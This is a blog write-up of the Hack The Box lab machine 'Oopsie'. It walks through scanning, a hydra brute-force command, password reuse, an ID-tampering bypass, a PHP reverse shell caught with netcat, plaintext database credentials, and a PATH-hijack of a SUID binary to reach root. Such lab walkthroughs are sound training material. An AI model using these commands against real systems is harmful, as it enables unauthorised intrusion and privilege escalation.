Oopsie hack the box


Service scan with nmap

We understand from the service scan with nmap that there are two ports that are widely known for their capabilities.

# nmap -sV -sC -p- -T4 -oA oopsie opsie.htb
                                                                  130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-15 06:18 EDT
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 42.25% done; ETC: 06:19 (0:00:12 remaining)
Nmap scan report for opsie.htb (
Host is up (0.17s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
|   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Application on Port 80


Whenever we have a web application, I like running a quick Nikto scan against the target to get information about it fast. I would suggest to google each entry in the body of the findings.

# nikto -h opsie.htb                       
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:    opsie.htb
+ Target Port:        80
+ Start Time:         2021-09-15 06:20:43 (GMT-4)
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ IP address found in the 'location' header. The IP is "".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-10944: : CGI Directory found
+ OSVDB-10944: /cdn-cgi/login/: CGI Directory found
+ OSVDB-3233: /icons/README: Apache default file found.
+ 10216 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2021-09-15 06:36:11 (GMT-4) (928 seconds)
+ 1 host(s) tested

Additional Intelligence gathering

Found admin email at the bottom of the page:
[email protected]


Bruteforcing the admin email account on the cgi login form was unsuccessful:

# hydra -l [email protected] -P /usr/share/wordlists/rockyou.txt opsie.htb http-post-form "/cdn-cgi/login/index.php:username=^USER^&password=^PASS^:F=Login"

And then I remember that just recently I hacked another box that had the same megacorp initials. So I decided to try the password I found in the box “Archetype” (link to the write-up): MEGACORP_4dm1n!!

And it worked, meaning they reused the password.

Reverse Shell

We’re presented with an authenticated page which contains uploads. However, we cannot reach that page as we are unprivileged:

I access accounts page and notice an id variable which could be changed to show another user by its id. Due to the resolution, and being lazy, I made just one big screenshot so please use ctl+ to zoom into the picture if you cannot see.

I use intruder to bruteforce the ids by inserting a thousand numbers from 1 to 1000 and found a super user at 30:

I access http://opsie.htb/cdn-cgi/login/admin.php?content=uploads&action=upload then I change the request with the id and username of super user from within burp. Then generate the burp request within the browser and receive access to the uploads where I upload a php reverse shell which was denied upload but I caught the request again and changed the id and the username to super user again and the file was uploaded.

Next, setup netcat:

# nc -nvlp 1234

and curl the file from /uploads:

# curl

Privilege Escalation

Found Robert’s credentials in website’s files within login.

[email protected]:/var/www/html/cdn-cgi/login$ cat db.php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');

In the following screenshot I am logged in with the found credentials (as robert), his group is called bugtrack i found a binary file called bugtrack in /usr/bin/ that is with setuid bit turned on and owned by root. Checked its content with strings and found it uses cat command to do its job. My thinking here is I am going to try to poison the path…

  • Files with SUID set on.
$ find / -user root -perm -4000 2>/dev/null
  • Investigate the type of file it is:
$ file /usr/bin/bugtracker
  • Investigate the contents of the file and try to understand what it does:
$ strings /usr/bin/bugtracker
  • Open/Run the file to see what it does.
    • it uses cat to dump contents of file
  • Create a new file called “cat” in a write-able directory and add to its contents /bin/bash
$ echo '/bin/bash' > cat
  • Change cat’s permissions to 777
$ chmod 777 cat
  • See what is the current directory where the ‘cat’ file exists and export it:


export PATH=/tmp:$PATH

Check if the PATH is exported correctly:

echo $PATH

Run the vulnerable file:


whoami: root

Sorry for not supplying enough screenshots, I have been really, really lazy :/

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: